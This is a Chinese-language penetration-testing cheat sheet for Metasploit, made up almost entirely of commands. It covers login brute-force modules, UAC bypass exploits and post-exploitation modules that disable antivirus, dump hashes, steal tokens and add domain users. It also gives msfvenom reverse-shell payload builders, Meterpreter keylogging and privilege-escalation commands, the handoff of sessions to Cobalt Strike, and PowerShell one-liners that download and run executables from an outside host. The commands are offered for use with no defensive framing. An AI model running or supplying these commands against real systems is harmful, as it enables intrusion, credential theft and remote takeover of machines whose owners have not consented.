auxiliary #显示所有辅助模块
exploits #显示所有漏洞利用模块
payloads #显示所有有效载荷
targets #显示所有可用目标
advanced #显示更多高级选项
encoders #显示可用编码器列表
set/unset #设置/禁用模块中的某个参数
setg/unsetg #设置/禁用适用于所有模块的全局参数
set proxies sock5:127.0.0.1:8000 #设置代理
save #将当前设置值保存下来,以便下次启动MSF终端时仍可使用
msfconsole辅助模块(Auxiliary)
端口扫描:
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas
服务扫描:
auxiliary/scanner/ssh/ssh_login # SSH爆破
auxiliary/scanner/vnc/vnc_none_auth # VNC空口令扫描
auxiliary/scanner/telnet/telnet_login # Telnet爆破
auxiliary/scanner/smb/smb_version # SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers # SMB枚举
auxiliary/scanner/smb/smb_login # SMB弱口令登录
auxiliary/admin/smb/psexec_command # 登录SMB且执行命令
auxiliary/scanner/redis/redis_login # Redis爆破
auxiliary/scanner/mssql/mssql_ping # MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum # MSSQL枚举
auxiliary/scanner/mysql/mysql_login # MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum # MySQL枚举
msfconsole后渗透攻击模块 (Post)
run post/windows/manage/migrate # 自动进程迁移
run post/windows/gather/checkvm # 查看目标主机是虚拟机
run post/windows/manage/killav # 关闭杀毒软件
run post/windows/manage/enable_rdp # 开启远程桌面服务
run post/windows/manage/autoroute # 查看路由信息
run post/windows/gather/enum_logged_on_users # 列举当前登录的用户
run post/windows/gather/enum_applications # 列举目标主机应用程序
run post/windows/gather/credentials/windows_autologin # 抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump # dump出所有用户的
hash
run post/windows/manage/payload_inject # 将另一个payload添加进原有的会话id,从而返回一个新的会话id
run post/windows/manage/enable_rdp # 自动开启3389端口(也可任意端口)
run post/windows/manage/multi_meterpreter_inject # Inject in Memory射入内存
run post/windows/gather/credentials/sso # 获取明文密码
域控相关:
run post/windows/gather/enum_domain # 查看域控
run post/windows/gather/enum_domain_group_users # 枚举域组
run post/windows/gather/enum_domain_users # 枚举活动域用户
run post/windows/gather/enum_tokens # 枚举域管理令牌
run post/windows/gather/local_admin_search_enum # 收集本地windows管理员
run post/windows/manage/add_user_domain # 将用户添加到域和/或域组
msfconsole渗透攻击模块(Exploit)
绕过UAC限制:
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_comhijack
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_sluihijack
exploit/windows/local/bypassuac_vbs
msfenvom生成shell code
Windows:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c
Linux:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c
Mac:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c
msfenvom生成可执行文件
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.128 LPORT=4444 -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Meterpreter常用命令
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > sysinfo系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
各种shell的相互转换
msf派生shell给cobalt Strike
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST xx.x.x.x # CS IP
set LPORT xx # CS http监听端口
set session 1
set DISABLEPAYLOADHANDLER true
run
cobalt Strike联动msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xx.xx.xx.xx
set lport xx
run
选择 foreign 类型的监听进行 Spawn,填写 MSF 的 IP 和监听端口。
command shell转meterpreter
接收普通shell:
use exploit/multi/handlerset payload windows/shell/reverse_tcprun
ctrl+Z将反弹的普通shell放置后台,调用shell_to_meterpreter模块升级普通shell:
use post/multi/manage/shell_to_meterpreterset SESSION <id>set LPORT run
再次输入sessions -l 查看后台的sessions,新增了meterpreter shell。
meterpreter转command shell
meterpreter > shell 命令行shell (exit退出)
内网其他命令
3389端口开放
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net start TermService
powershell文件下载
powershell (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','C:\test.exe');start-process 'C:\test.exe'
powershell (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','test.exe')
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://1.1.1.1/test.ps1")
echo (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','C:/test.exe')| powershell -